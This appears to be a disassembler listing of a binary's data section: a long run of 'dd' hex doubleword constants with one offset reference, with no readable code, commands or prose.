dd 2234F39h, 45A0D56Ah, 8D08A300h, 0EEFE1122h, 2 dup(0)
dd offset off_418000
dd 6000434Ah, 0
dd 30140000h, 0C01120E6h, 14481235h, 3BFFA025h, 0C6DF01B6h
dd 0DEF8212Eh, 6CAE25FDh, 0DEC6B59Bh, 0F7FE8769h, 5F2B1CE2h
dd 0D8EF3A9Dh, 7CC729D3h, 0AAE271FAh, 0A76C777Dh, 0F7A7448h
dd 0CEDE7127h, 0B7D8B37Bh, 613B53BBh, 5EBF1CDDh, 7EC3C4F2h
dd 7FA1FF47h, 3E788EDEh, 0C76ED50h, 0D416F059h, 57DF9F0Bh
dd 0D1D30F0Fh, 94CA8935h, 70F2730Dh, 0A757E18Fh, 8F1F98FEh
dd 0A073DC45h, 0A4BE634h, 564109A4h, 0DD25752Eh, 498B62B7h
dd 0D6EB1739h, 0BDA43183h, 0B1F2217Bh, 76CF5A0h, 2CEAB723h
dd 34EBE602h, 1C6212E2h, 1C18784Dh, 40684D66h, 0A4A5DE3h
dd 0EA125008h, 96B3010Ch, 905391E0h, 7817CA1Ah, 0CACA2D21h
dd 0A88342E6h, 1D8893A6h, 0B4DBF588h, 8916A54Bh, 60240902h
dd 3B6D4D9Bh, 65BC0A14h, 5C2E925Dh, 197B1390h, 5A2C56FBh
dd 74349878h, 10062021h, 1B027ADAh, 0B628070h, 70AD01ABh
dd 61020785h, 0B04DCACBh, 0B0B64260h, 4B85B700h, 2204B18Ah
dd 205084CBh, 168168B7h, 41263Fh, 5ACD9C14h, 0A12BB1DDh
dd 2D238C05h, 850991h, 784C0D85h, 33464ACAh, 29C201F0h
dd 0B81972D0h, 203036Fh, 5A6EB735h, 0A0A380A4h, 0A116C3B0h
dd 565D8356h, 1E58066h, 1BAB32B3h, 99A5CC2Eh, 4BC11852h
dd 943C4BA1h, 0C51B744Ch, 85887995h, 41813665h, 32E8DDECh
dd 72DE5368h, 0A552C418h, 1ABCEDAh, 0A482E4DDh, 92D73287h
dd 0D1DE59h, 814B2C61h, 6C3D6290h, 9ED92350h, 8C06B646h
dd 24118CF8h, 71828943h, 4028145Ah, 6458D220h, 6202B111h
dd 0DE19500h, 0D280DC88h, 8295EA09h, 0A2421094h, 0BC45CAC4h
dd 9D5F8DE3h, 4F81BC19h, 413A0015h, 14B4101h, 13A15B4Ch
dd 0A97C3B77h, 0E0298CBAh, 0E148C31h, 52410343h, 0CA907A2Dh
dd 40802F68h, 0C6BA6095h, 0DF70066h, 789C016h, 1BD1ACD4h
dd 0F4E46622h, 0B8C1E58Ah, 0E123667h, 279A5E13h, 3C41ECA6h
dd 0B0A2BDDCh, 28C55AD4h, 65F81BF2h, 0B98C0EDAh, 7CB2D696h
dd 0A5A228CCh, 5922CB2Ch, 0C84A979Ah, 9603C796h, 0B76C5ADh
dd 0CC0A133Eh, 7374805Ch, 32F239BEh, 0E01AB44Eh, 0B0E13491h
dd 95E09D20h, 0D78A7400h, 60492374h, 14079E62h, 0ECE3BBC7h
dd 0C6AB0DA0h, 0A1E827D8h, 85D55B5Ch, 2C44749Fh, 7CF6787Ch
dd 0F31128C2h, 101095F5h, 8DC51B2Bh, 741D6178h, 973B8008h
dd 1C9C60D1h, 360C0C30h, 0D41853CCh, 0A318B7E8h, 5D25A106h
dd 0BBC5EFEh, 443B9B17h, 0E0231737h, 0D88A0C73h, 2C773383h
dd 0B12F562Fh, 3C62A0E1h, 0A3ABA049h, 0A975800Bh, 4D7692B1h
dd 9851E475h, 0A90551B9h, 6AA30211h, 0EB41201Eh, 79C38BD4h
dd 381EA66Fh, 0A2C74D53h, 0E33281C0h, 0A1CA7093h, 967457CFh
dd 5AC4D819h, 0C1D833AFh, 0B825998h, 848A01CBh, 9888C049h
dd 4A7661A2h, 85A0A69Eh, 8A642229h, 0D9989DA6h, 6067A298h
dd 60D138FAh, 0DBA05CA2h, 0FD02272Ah, 0D1223138h, 634422C8h
dd 78DA4E12h, 0F62E9EADh, 4D0D4DB4h, 0FCEDC619h, 30454C9Ch
dd 0D32FF11Ch, 2CB98414h, 5D208273h, 0AE45AD6Ch, 2602682Fh
dd 300B8716h, 0E0E10700h, 0EFB00A6Ah, 22806662h, 0AB5FCB31h
dd 0CA84E860h, 0C94D9AC4h, 0CF640616h, 0E607A11Ch, 950470Ah
dd 8D2D463Eh, 3F18A11Ah, 0B4945C36h, 0CE1A83B0h, 38712B32h
dd 28D311D6h, 590EA580h, 0CE9A2460h, 9034B7C0h, 793C142Fh
dd 784C047Dh, 50B6089Fh, 37DCF22Ah, 6A493806h, 9955049Ch
dd 8B78441Ah, 4BBB6402h, 0C1F65CF9h, 0B6127F04h, 6455D64h
dd 0B4352350h, 7C0E2C83h, 2541AC40h, 0AE070507h, 0E8492024h
dd 916D0188h, 0B600D980h, 0E560092h, 37616EDEh, 3F070F0h
dd 0B6BBB696h, 55F93161h, 0CF23DCE6h, 0FA89940h, 683E57A7h
dd 99559B1Dh, 7A825B48h, 4918D861h, 14F09860h, 0B70BB566h
dd 0B0D8292Dh, 752390C3h, 200C50D3h, 31A75DC1h, 0E559750h
dd 0A0B234C4h, 2ADF3B1Dh, 0D6B4D2F5h, 0E1696209h, 6CCA830Ah
dd 19B4A15Dh, 282BC205h, 529F222Ch, 0AA77FB5h, 83A54461h
dd 0C2DA68B0h, 56E61562h, 7EC1C215h, 9DB11780h, 96188510h
dd 6AA98619h, 0E28B0C54h, 68142A0Eh, 1011584h, 5D160650h
dd 2F4A70F3h, 53631385h, 9B663240h, 9A9202CAh, 165C6504h
dd 0AE028052h, 0A592D014h, 0E32486D6h, 755A5B18h, 2C813A2h
dd 538C9A9Ah, 75714013h, 0D8245600h, 56C81340h, 3CD6E67Ch
dd 0D95BA9FAh, 51C807C5h, 97A9A23Ah, 0BD3109CDh, 23952C43h
dd 33DA2533h, 87A1C8F0h, 6C36BCC6h, 464CADDFh, 25C0D8F7h
dd 68F098CCh, 70542139h, 0E758ACDAh, 691910E6h, 0C062030h
dd 44A6A1C3h, 0C28B8467h, 43C52082h, 60844E98h, 0E4166946h
dd 0BDCBA651h, 60A6B65h, 22B222E4h, 72B61F4Fh, 81248889h
dd 467BBDFCh, 6916C30Dh, 2452E453h, 0DECCC0C5h, 6145A0BDh
dd 6C014018h, 44DE80F9h, 26A74879h, 76383979h, 9984216Dh
dd 6660C28Eh, 0E9B0B9E2h, 668952E6h, 0A2C7BC09h, 0E9D28263h
dd 431B0064h, 4CABA118h, 44043298h, 48A50882h, 19060A3h
dd 29A9A96Eh, 0AA751053h, 0A18D943Ah, 50024913h, 8B16C33h
dd 12AA3986h, 4A400959h, 4BE92534h, 0C8029D0Ch, 0B7898C43h
dd 0C4253D04h, 0B8C16712h, 29226C4Ah, 0BE181531h, 58055104h
dd 0FEA7B2A4h, 89D035F8h, 9B0C0BE5h, 0E15CF637h, 0F92BEF4h
dd 0F2E22F7Fh, 1DD133F5h, 41E2B45Dh, 0FE077D60h, 0BCEDF07Ch
dd 0BA6DC72Bh, 268FF9BEh, 0EE7DB31Ah, 0FE562DC7h, 0B0F9333Ah
dd 98EE87FFh, 8DF0EDF6h, 73FBA643h, 0C761E8FAh, 62749EFEh
dd 961D8DDBh, 1E2B79EEh, 0D9E78A2Ch, 0B638A1C3h, 5BB1F6DDh
dd 62774C8Eh, 6FA3DFEAh, 7B14190Dh, 0FDE67608h, 0E52BBE39h
dd 69B07B37h, 7F1B80C1h, 0F6B17D4Ch, 50EEEDC0h, 9B5C677Ch
dd 0A9F2B3C2h, 73D87F67h, 0AB49C6EFh, 0E7326FAEh, 0FC5E94D3h
dd 37A225B1h, 261AFABh, 6347E931h, 0C571842h, 0AFFABA3Fh
dd 0EC28BBFFh, 6F07EC34h, 0F5659954h, 7A356F61h, 325C870Ah
dd 4C3EDBF4h, 0F963628h, 0CC6579BAh, 0C7F32357h, 0E87A0503h
dd 0E984F2CEh, 77990D30h, 0DB83FFEEh, 77BA5FAEh, 73F492C5h
dd 11CC7FCCh, 0BFF360C4h, 0F8DA4F43h, 0B421EA6Ah, 0F9E3D610h
dd 0DD6F01D5h, 0A181BDDEh, 0F1318B50h, 0F777F5D2h, 0CF73992Eh
dd 3DDEF1DAh, 0C49634FFh, 0C5508310h, 5E57072Bh, 0F732F36Dh
dd 0B127ADC3h, 1ED6276Bh, 0ABF2BA3Fh, 58F277B7h, 865FEB37h
dd 25EF9D7Fh, 0E3FA25DFh, 0BD0EC99Ch, 94EA387Bh, 63B23779h
dd 8A6931C2h, 6E2BBC4Eh, 56CB3A76h, 5B158042h, 6B9A78B8h
dd 3B662E82h, 0DED43953h, 0DB4DBA5Dh, 0DB982B94h, 0AB9B8CB9h
dd 16071C9Bh, 0EEB7B73Ah, 39740CD0h, 81D72060h, 0E3CAAB05h
dd 0D00F1C4Ah, 79F6060h, 50D8D8EDh, 0C8760C42h, 0E84E54EAh
dd 2618D84Eh, 6B2C367h, 6758070h, 4A33097Dh, 21B4801h
dd 9B33B20Ah, 0E0E40596h, 2CF6A548h, 64630685h, 685CF5ECh
dd 2B0B9782h, 168125D6h, 1298DD71h, 3761E905h, 0BCC948A9h
dd 757B0AE4h, 0CB0BC20Bh, 0B9796012h, 0B8FCE4B4h, 0CEB68A9Fh
dd 0B595FBE0h, 547B7163h, 84975583h, 52B78D9Ch, 3C78A1CBh
dd 81BEAA3Fh, 0B8A1A869h, 3B8FA867h, 0F73CA4C4h, 0C0688CB1h
dd 95EC125Ch, 0C574471Fh, 62A2E7BFh, 0CFEF6B26h, 9DF681E9h
dd 5BF6399Ah, 8582F4B6h, 9F607D67h, 87E14BF3h, 794DC30Dh
dd 87137776h, 0EC755F29h
dd 0FF070B89h, 531FE39h, 1D5F7D4Dh, 41908B3Eh, 0F67F8627h
dd 8614D5FFh, 0E824DCD1h, 23983D07h, 94F17680h, 3DCF4AA8h
dd 0D89E2F26h, 0E39545B0h, 0BCDF077Bh, 0FB3DD7F6h, 0F2307DFEh
dd 0C77FA6ECh, 0D0F478EEh, 86776799h, 0C8F6FCE0h, 2CDEAB8Dh
dd 0EFF37B9Fh, 0E7B6A8BEh, 0E37B9DEh, 61ED3D8Eh, 0FBFA2CB3h
dd 0EC66EAEDh, 9D3D0FF9h, 0F6CF6761h, 191E95C1h, 43F3FE79h
dd 0D8635697h, 0BE57F11Ah, 0FE16D16Ch, 7F3B33D7h, 0EB2DD5F3h
dd 0F4B1ED3Eh, 7073B2ECh, 2FE2B8B6h, 0FB18CFA3h, 307EA6Ch
dd 0F23F2E9Eh, 868381D4h, 0EB78393Fh, 7EDFD5B6h, 0D3D679FDh
dd 78BD2F1Fh, 75EA70BCh, 0CD624E87h, 5E96E46Dh, 0D7F7AFDh
dd 0FEDE7DB5h, 0DADC3763h, 79FDFF73h, 3B33935Ah, 65D45780h
dd 87D1D3F9h, 0F4192453h, 581FD967h, 8C291D53h, 20A1CCC1h
dd 5743EC3Eh, 7D71FED6h, 0A6E4D9D2h, 21AF5BCCh, 0F4BCD743h
dd 7C5F39C3h, 0F60306Bh, 51200DB6h, 0F37B9996h, 6D43EE7Fh
dd 0D835C06Ch, 5A9A6997h, 45606395h, 5A558501h, 3AB08490h
dd 0A9CE9996h, 23CBB14Fh, 0EC808AADh, 5D802EACh, 2E004B0Bh
dd 38BFEC9h, 163BC048h, 3A851260h, 0B76C2C94h, 4DA45674h
dd 52A5C269h, 0CE985E81h, 52F661B6h, 3A24B28h, 949A0BC9h
dd 6D3A0C10h, 58DD85DAh, 0D0657C9Ah, 0C69856E0h, 7965B6CAh
dd 3F1F52C3h, 0CAF04EB4h, 41660C1Fh, 0BDD70975h, 0B1ECA40h
dd 8B58D6EBh, 0CE38B327h, 12E08C21h, 741A8B81h, 0BD08A616h
dd 141A4A9Ah, 0AE028469h, 0E1729512h, 198A145Ah, 0FA1D953Ah
dd 0C504BB1h, 2E565077h, 1BB5DE12h, 929C1B63h, 5640716Eh
dd 0C8E9BDB2h, 0D115E08Ch, 440C299Ah, 536862A0h, 67018922h
dd 219A84Eh, 0EB7C2354h, 0FA4AA16h, 244282A6h, 622B67EEh
dd 3A1698A3h, 48B5CB2Ah, 0F2AD1771h, 90E5A903h, 3EAA28CDh
dd 0C2039B6h, 0EA945E6Eh, 0BC5DB288h, 46166B48h, 2F8DDE30h
dd 0EF2C5298h, 0C5709458h, 0CA982792h, 432ACC05h, 2B559831h
dd 586ACE2Dh, 24F79C98h, 0C45E5435h, 8A83E5EAh, 0A87ECC00h
dd 0A46876B0h, 530F59ECh, 20014DE3h, 0EE235394h, 5AD47179h
dd 0E51455B7h, 5361B2Eh, 0AB8F0445h, 4B7BA0CEh, 81F12415h
dd 2F34DE44h, 0B3E61CBBh, 60B9065Eh, 58ECB318h, 8B28DC0Bh
dd 2DBAAC2Fh, 0D116A81Ch, 8BB4A3DEh, 73D71059h, 0A2390829h
dd 6D9225D5h, 3A46A94Bh, 5AA8D373h, 167C65Eh, 5599AE03h
dd 0A1C2C094h, 0D95C2BC2h, 0C6880215h, 0A5B7E480h, 611BD308h
dd 460C458h, 1AB33B60h, 1E02A4B1h, 640AAC5h, 0D18E4850h
dd 0B1A4BC2Eh, 1AA35844h, 32ED40C6h, 0FE3A8FC9h, 92328738h
dd 0A2F2912h, 3A5BA6C7h, 5C409E0Ah, 0AE7FB5CDh, 8DE052F0h
dd 0DE69E338h, 2CE91754h, 244B7310h, 18DD9FB0h, 0A223D825h
dd 9CFD274Bh, 0D7652F8Ah, 0C0049C2Ah, 0E9BD9F2h, 1FCB0A4Dh
dd 9A21505Fh, 0C71171B6h, 54C04D09h, 1CA40012h, 918A9CBAh
dd 8B6DE987h, 79E41401h, 3CA7CD81h, 0E8F4D50Ah, 964A8C59h
dd 0CD2E4331h, 292957CFh, 90565CEh, 5EE13C09h, 5BEE26C6h
dd 0D5C43B6h, 0BB286729h, 0CCB1C086h, 2095455h, 47C4FA11h
dd 5B6A54E2h, 3E809810h, 0B9AD972Eh, 0B98EE555h, 33835C2Ch
dd 3607C0Bh, 0E803AB3Ch, 0EAD9E850h, 0B85809F1h, 6030F028h
dd 0EC05DFA9h, 0FD7438E0h, 58AE8054h, 89259D8h, 0F9B08884h
dd 9AE3CF88h, 12F6D349h, 0E576A695h, 76685B95h, 5717FAD9h
dd 0B8B11D42h, 2A236796h, 4063E8Eh, 0D8EC1EEEh, 9AFE571Dh
dd 0FDF0FBBAh, 8B2A6687h, 0C925DEE7h, 22CC7432h, 73548D67h
dd 52B4B741h, 6E2B2260h, 8373AD20h, 0C11E3020h, 47ED8996h
dd 618DF065h, 0D09851E2h, 0F0551DE1h, 0AC557B6Eh, 0CC5DC4CEh
dd 46149820h, 0CA6A7050h, 0F39449CCh, 48B04D13h, 3CB6F5CBh
dd 14ED0F72h, 130AB971h, 2229C1D8h, 267E5959h, 0F90A58A4h
dd 2896361Dh, 0AE5128EBh, 72B3B56Bh, 9A51E02h, 0A039338Fh
dd 0C4C46D5Bh, 12663252h, 45996630h, 4197304Fh, 0A5CB9105h
dd 0FE45AEAEh, 521D938Eh, 5654A416h, 370B675Ah, 0B595E92Dh
dd 4235B4D0h, 0A610D64Bh, 0C34B4B41h, 5C666751h, 68E84A82h
dd 0C8015CC0h, 0B43F888Ah, 6F4D444Dh, 976D4942h, 539D18E1h
dd 6958C29Dh, 58A13A4Ch, 0C7028C45h, 95469638h, 477C1963h
dd 564544E5h, 59E63374h, 0E518149Ah, 98669E65h, 6247D395h
dd 0B4F12354h, 9DB58EA3h, 0F2214987h, 78471AC6h, 6186776h
dd 0BFB76514h, 3D1316C7h, 0C18B6F4Dh, 0CC106DC2h, 0D9564227h
dd 0C4BD7E25h, 1CDF206Bh, 63859408h, 0D0E5B159h, 162F2862h
dd 4A0A98BCh, 868B8CF3h, 55694117h, 2B22C286h, 9A6EA9AAh
dd 832F9862h, 4C9B4B86h, 4C181165h, 6B30FB25h, 0F4559B09h
dd 0B513178Ah, 0A6D38832h, 554760C6h, 1989E894h, 7F7FBA61h
dd 834630A3h, 54E79EBEh, 0D56E6944h, 245CA416h, 0E460E14Fh
dd 954C1567h, 6288AB9h, 7D9B3E19h, 0A31D6D86h, 2E150987h
dd 2B190545h, 14355614h, 52AAECB3h, 0E3EF4283h, 0B11B0E95h
dd 0CA520F45h, 3B8F260Ch, 1874F83Ah, 59F96850h, 6C149124h
dd 6D842145h, 0E4027E44h, 2B1676BAh, 1598DA0Ch, 9CA834C3h
dd 0DB4360C6h, 0CBB1B454h, 0C6A749C5h, 9A52A61h, 0F581CFF2h
dd 8AA4E277h, 197BA29Fh, 0AC294186h, 0A4A62AA0h, 95312C23h
dd 2B0AABC1h, 0DA68E296h, 2857C0E4h, 836BA4D2h, 99F2135Bh
dd 7EE2C76Dh, 0CB3D9374h, 7A16095Ah, 663C5829h, 63C5E64h
dd 0F10697B6h, 3F66FAF6h, 9D0377ADh, 48B07053h, 9C5CD7D4h
dd 0F3460BDDh, 930632ACh, 652395E8h, 7034677Bh, 906C473Ch
dd 350652F1h, 313D8729h, 0B1997C72h, 54186183h, 0F993E5C9h
dd 753E5A37h, 0B9D3063h, 33E2E8B6h, 64F93DDDh, 82C293A8h
dd 74D28416h, 2503AE92h, 1E5673F2h, 73984D3Fh, 5498AC72h
dd 0EB92B844h, 8BA3DBBFh, 0C32A229Dh, 70A81464h, 54B4C4F9h
dd 58AE3041h, 14402D4Eh, 28D6A597h, 2F4726B9h, 1D6C28AEh
dd 0C8968FF1h, 755924B8h, 8146BA9h, 0B65EE1AEh, 71E3B295h
dd 0CC5465CCh, 0AF12BDB0h, 0A54F9613h, 69CA350Ah, 204CA5D1h
dd 0C3060E60h, 84EDCC81h, 0DF9519A6h, 0B19FBEBFh, 0D757F476h
dd 0FEF97C86h, 170FF3EAh, 804BBEAEh, 0D1B58873h, 56ECC057h
dd 0CF78D6FFh, 0CF02538Fh, 6E8D514Eh, 9B64B922h, 14D02634h
dd 7F6E0584h, 9F5697Eh, 31F8D6CBh, 0CFFC2F0h, 0D43A1D7Eh
dd 0CDFBA777h, 81344B57h, 876561D8h, 3DDBD8FEh, 33995428h
dd 0FBEAAFF9h, 0B1D48D0Eh, 9CADC309h, 0F6AAFC7Ch, 0DFECDE73h
dd 13B48F8Ah, 0EF4BEEBFh, 0D66A6950h, 0BFCEBDE9h, 0B0A2F99Bh
dd 9A33C77Ah, 0F8C0D1C5h, 0CF53F3EAh, 4D2CD34Fh, 94E1DB03h
dd 5666D319h, 5BB66A92h, 6E17C362h, 0F4FCB95Eh, 0D24645ACh
dd 2165824h, 0EACC2C54h, 91922C49h, 94AD9A1Fh, 6DF10D1Bh
dd 0B2B14ACh, 0A5DCCA81h, 0CB4ED92Ch, 0F69AAA63h, 6A756DB0h
dd 4B785121h, 61622687h, 0DB1DC6F4h, 0AE36CC78h, 0A4203705h
dd 44905C40h, 549A2D40h, 0A747542Ah, 9D3BB536h, 0EC0479AAh
dd 0D4273EA4h, 63216793h, 5245C880h, 6C0848A2h, 0CFD16FD2h
dd 459F266Ch, 8831F806h, 0B19BA158h, 0DEC0BE42h, 5E8DB2E8h
dd 599CA775h, 92634232h, 5029C9ECh, 33853601h, 2A2A0609h
dd 7CAAC4A5h, 0E9F0AA5Ah, 0C009DDA4h, 23EF1326h, 2203702h
dd 136E160h, 2E4A1175h
dd 0ABC30C17h, 0ED553838h, 0C8BA52E2h, 0A183A752h, 950AC9B2h
dd 909F3663h, 0F5450D4Ch, 283153A9h, 1D06068Ah, 94B6916Fh
dd 8EC40966h, 0A231AB72h, 7318C3E7h, 6E846703h, 4A982C16h
dd 82BB2031h, 99BB180h, 40305B01h, 12996D0Ah, 93493950h
dd 0A61AAE7Fh, 2CA9ACC5h, 0CD18914Fh, 78B4D88Ah, 12985257h
dd 14B69198h, 5D55B086h, 4083A9BCh, 0B26E3D18h, 48882091h
dd 152CD88h, 8226EA54h, 4B428E59h, 6801B09Fh, 0D65A6ABh
dd 0B239C2D4h, 2ED3B392h, 0D9D68048h, 831D1974h, 0F16ACD18h
dd 6560A59h, 3A92741Fh, 9D3150E8h, 60CE90D6h, 54F72A19h
dd 1AAA0615h, 0F8E38884h, 3154750Dh, 12305430h, 8D20CB4h
dd 0A2A240DAh, 0A8658B2h, 6A3D9315h, 4A751894h, 94A2293h
dd 612A8945h, 0B55E8544h, 0AD3B955Ah, 9ED1B159h, 5AED5F35h
dd 35B969B5h, 0B06F8DE8h, 77BC7158h, 4A0792EDh, 9A865E6Fh
dd 84E29329h, 97BF029Eh, 5CDD732Bh, 965C88Bh, 0A5438F8h
dd 7551AAB7h, 6F8CAC37h, 6DA9855h, 0AE0B5F09h, 0F602963Dh
dd 2F3E484h, 94574C15h, 286D87F5h, 0FC31FCh, 5DC0008Bh
dd 237F2EFh, 0D26F16ECh, 3E4B54B8h, 0E406995Bh, 0A7E4E456h
dd 0C503363Eh, 0EA20AF0Eh, 0B214BADCh, 9FBB21B8h, 0AC1FB8A2h
dd 0BBFBDEACh, 4BE5AB3Ah, 0DB3363D9h, 0FF4A72ADh, 0DE24898Fh
dd 752CEE22h, 57FE6678h, 0A95AD81Eh, 8E6C1F42h, 5ADA055h
dd 0FB89BA79h, 3B4A5D3Dh, 0B5F70D7Bh, 679C5FEh, 0C2485F50h
dd 49AAFFE4h, 0D2831280h, 0DF413D26h, 3022A8B7h, 932FBEh
dd 4E233542h, 5235423h, 0C4125469h, 8DFD0B81h, 5899A400h
dd 50A82E84h, 1A97369Ch, 0E5104E8h, 95DCB80Ch, 0D71C9120h
dd 73FE462Bh, 195CE4C4h, 60818841h, 0D4AC4291h, 39041161h
dd 66811A7h, 0DC0113h, 0F6FEC088h, 64BDCF07h, 37A0240h
dd 0E5445234h, 50400BA1h, 2840323Ch, 49586183h, 28B6B4CAh
dd 0C2E1FEF3h, 5D254A4Eh, 9582DDD7h, 61C6996Eh, 8C09BD0Dh
dd 1080B801h, 60322BE0h, 52AA3099h, 23A6DF12h, 906B6F3Ah
dd 2FA4B511h, 69B4EDD7h, 98D3014h, 0F0D61A95h, 26A3121Bh
dd 2360AE42h, 12A6E90Bh, 0F5751C10h, 44DED169h, 206A439Bh
dd 4C011F4Eh, 0C314002Eh, 0A0214650h, 5E410620h, 18BCC00h
dd 134C1644h, 4F85B0CDh, 0A39A241Dh, 292AEE24h, 5B946C9h
dd 0B5700661h, 4AC26747h, 93ED14F3h, 0AD4F0F69h, 0F0E9227Dh
dd 46B0B549h, 0EA0C5800h, 0BC3A9641h, 16D7BB6h, 9539D19h
dd 890787AAh, 48A2F6D8h, 252FC01h, 2CCEF33h, 9811269h
dd 0D107A771h, 2F113526h, 5A320A17h, 5C3B9863h, 993AC38Ah
dd 23A9198Ch, 0AAFB7F4Ah, 99119EEFh, 0C3602041h, 798098B2h
dd 50E214E8h, 6060548Ch, 85388047h, 0ED1D494Fh, 0CC0F09F4h
dd 3C01C14h, 34AC162Fh, 8E2A43BDh, 0BD61C92Fh, 0C9A8A16Fh
dd 792604Dh, 0B818DD0Fh, 0A86B8C05h, 825FFB1Dh, 0C6811234h
dd 38590C60h, 861AB047h, 0CA24CC80h, 128701A5h, 90336B5Ah
dd 91811152h, 6088B85h, 0E86C27D2h, 4323EAE3h, 998A8045h
dd 0CC8C2401h, 0D48C86D4h, 580BD08Ch, 2C84D80Ch, 6C6C507Ch
dd 0BC386DE4h, 53C4F0F3h, 83E7D2D0h, 518C4AA1h, 6E00014Ah
dd 81C63A04h, 68B03D10h, 6260205Ch, 8E212E67h, 1B0A2155h
dd 0E5F2984Ah, 27A2AE57h, 9F00E782h, 959F1622h, 2FBCD6E2h
dd 1A3CA6C7h, 7CABF88Eh, 0BCF2E6A5h, 0AA4BD11h, 0B25AA730h
dd 0EDD4148Bh, 0D7C6D58Bh, 2E349503h, 73A1A3EFh, 0B192ED3Ch
dd 499DB5CBh, 51CEE425h, 452D9440h, 4B2D0E6Ah, 0E4011C8h
dd 71D272C7h, 249F5882h, 83F4C5D1h, 580CC82Fh, 387E250h
dd 5E4728B3h, 2719FF60h, 0F047D710h, 8090B62h, 52B1998h
dd 0EF459361h, 7F9D845Dh, 0A878A473h, 0B182DFD6h, 102867EEh
dd 0D8503595h, 0C7E85928h, 5FFD4182h, 42B90FF8h, 60D74E9Bh
dd 3CFF0154h, 7EC421B2h, 4287FF80h, 516AD6E5h, 7D4A20A7h
dd 0E017957Ah, 0A0D396E9h, 0A170A394h, 0A6004CAEh, 0BD0C0Eh
dd 0E5DA6C03h, 216DE22h, 42D7063Ah, 1E4CBB39h, 1B085B80h
dd 4242E5D3h, 57B450D3h, 8D026558h, 17AA6633h, 90A4E016h
dd 0FB34801h, 68C4C00Bh, 41D18DA4h, 2218B9A3h, 14C5794Ah
dd 0A5A96024h, 218C2230h, 0DC5FF47Dh, 0A6EE05A5h, 21D904C2h
dd 23C02C8Eh, 0B2C07C14h, 5B96A4B2h, 0BBB9204Ah, 60EA924Bh
dd 2C0AF007h, 9CAD4C00h, 26A09A34h, 9CCEA031h, 6ED33C4Bh
dd 42244601h, 0A47A567Bh, 67D1089Dh, 0C3F9AE8Bh, 4A8E681Bh
dd 11E4662h, 4811C115h, 24208300h, 0AC474400h, 469EA2B8h
dd 86068290h, 0BD7C4688h, 98E4336Ah, 3092BC94h, 167AA35Fh
dd 2FB5DD22h, 12EA9B71h, 50B371B8h, 3C659AC1h, 8ADC58B3h
dd 5321AFA9h, 9B18C31h, 31511102h, 38D19C2h, 41E3E398h
dd 49FA248Dh, 0EB20E400h, 91D22114h, 8221C968h, 0C19011DCh
dd 7A984005h, 0ECFCEF12h, 0ADA07E8Eh, 650105EAh, 81C46E16h
dd 2D8DC5CCh, 0EA5C5A31h, 1E7CB52Ch, 738388DCh, 4D6A5001h
dd 44F26525h, 61C582F0h, 0A2545A1Eh, 0C3232A80h, 0C1705B64h
dd 63515908h, 0C7A1A836h, 0A5B85CD4h, 9A691E80h, 46673C4Ch
dd 8F426A94h, 0D41130CDh, 0FB32239Bh, 7A00E053h, 0E8D4EFAAh
dd 44D2433h, 17019F96h, 14D80431h, 0E22841A9h, 0D3099B45h
dd 0F523C1CCh, 98218832h, 4A027B13h, 7CB832B1h, 61468A0Dh
dd 1911197Ah, 174B08DDh, 26475185h, 0D37AC616h, 0B3F0575Bh
dd 2F505580h, 6889B445h, 1CB151D9h, 668F4142h, 822A2338h
dd 8027ED0h, 0C99F41A0h, 5B4B391Dh, 0C3257414h, 2801A40Bh
dd 6A630C90h, 2439AD8h, 406E0420h, 285CFB0Ah, 90F44620h
dd 5201130h, 83C25C05h, 0D02414CAh, 6804900Bh, 4C6040E6h
dd 6A14B619h, 0C64414CDh, 45D17055h, 0BD915461h, 0FFC8F941h
dd 4067C83Fh, 0ADD4BC8Bh, 85779128h, 0B50A0423h, 0E81558ADh
dd 9344A11Eh, 18303814h, 0C221C8A9h, 0E2881846h, 64A1BAC8h
dd 10DBC2C5h, 0D1BDE032h, 8A099800h, 32B22FB9h, 0FD3A232Dh
dd 3204E2AEh, 0A4A4720h, 0FFADF371h, 0F42B8D04h, 49584790h
dd 2B1D8009h, 56389092h, 1E563D5Ch, 0D23B5990h, 505F38D0h
dd 0BAE89091h, 187FA50Ah, 9F32D62Bh, 22DDA722h, 2BC5A5DCh
dd 0BFB73351h, 10346A8Fh, 0D9917871h, 1532F681h, 23B3C502h
dd 8E011034h, 0C0AAC175h, 4A052413h, 49D244E9h, 0CA8212ADh
dd 14B23375h, 91C58BC5h, 8201B132h, 8C8660ECh, 0C23C1C7Ch
dd 8CD385E8h, 9D65F5h, 17390438h, 0B41377A5h, 9B9C6D23h
dd 1C9B94D5h, 822880Ah, 8356E258h, 369F2E02h, 89962987h
dd 9B3B6020h, 468A8329h, 13049607h, 0A8F99158h, 117A38F4h
dd 0A0D510E0h, 1878CB30h, 32F64B42h, 0E7B68519h, 93E147AAh
dd 2ACE832Ch, 5ED5A4DDh, 5BF88367h, 0D5A711C4h, 72B4A8BEh
dd 6184C245h, 0D2CC8D2Fh, 847A7C00h, 0C4519B97h, 8962209Ah
dd 1AF35226h, 4DBD76FCh, 5E132CA4h, 0B845A0AEh, 22AD6329h
dd 67F13CA0h, 73A40A7h, 0B4A8B3DDh, 0A610238Fh, 5ED0A4Fh
dd 464158DCh, 2C080F48h, 0BD7A93Fh, 40A93C3h, 0A5349E35h
dd 11460D48h, 0E292DA2Fh, 9B110E60h, 0B8081944h, 16C47DBCh
dd 322AAA4Bh, 0EE78C494h, 0D340645Fh, 0C053D87Ch, 87E660h
dd 9D73B2EBh, 9641815Eh, 5C2080C1h, 0F15B806Fh, 8215042Ch
dd 0FA91D5D9h, 620BD195h
dd 8A1A4FA2h, 5E67300Eh, 48FA2AEAh, 411D9012h, 0E8343482h
dd 33F1BF36h, 0BC5FBA5Dh, 0B07A2043h, 0BA9F5820h, 0F87EE075h
dd 3C080FD1h, 3D85426h, 0CCF424D2h, 0A01A856h, 4360A051h
dd 94704981h, 8C788B41h, 0B83E89F1h, 79308CD9h, 0A072A2A0h
dd 6031FB40h, 60F78267h, 23C13A1Dh, 913624E4h, 77FED5B0h
dd 4096B7Bh, 902A0B2Ch, 0CBE73809h, 32A77D6Eh, 15974801h
dd 0B01B5783h, 0BF156C0Fh, 0C477DD46h, 0A297DE4h, 2BBDF47h
dd 91874E26h, 5D602Bh, 0A597073Eh, 7A118406h, 548EE556h
dd 0DC01D47h, 4A4D8393h, 0C7665441h, 2D1BB5AAh, 0B1E3FC1Eh
dd 8F455779h, 0A9B1E556h, 0C02DA48Bh, 0FC228473h, 3F88F544h
dd 5E977E51h, 0DD129271h, 404480B4h, 12A17E89h, 0A1C0A0C1h
dd 0D01D4212h, 0A3AB92A2h, 808E48CEh, 52913D54h, 94D4A4A2h
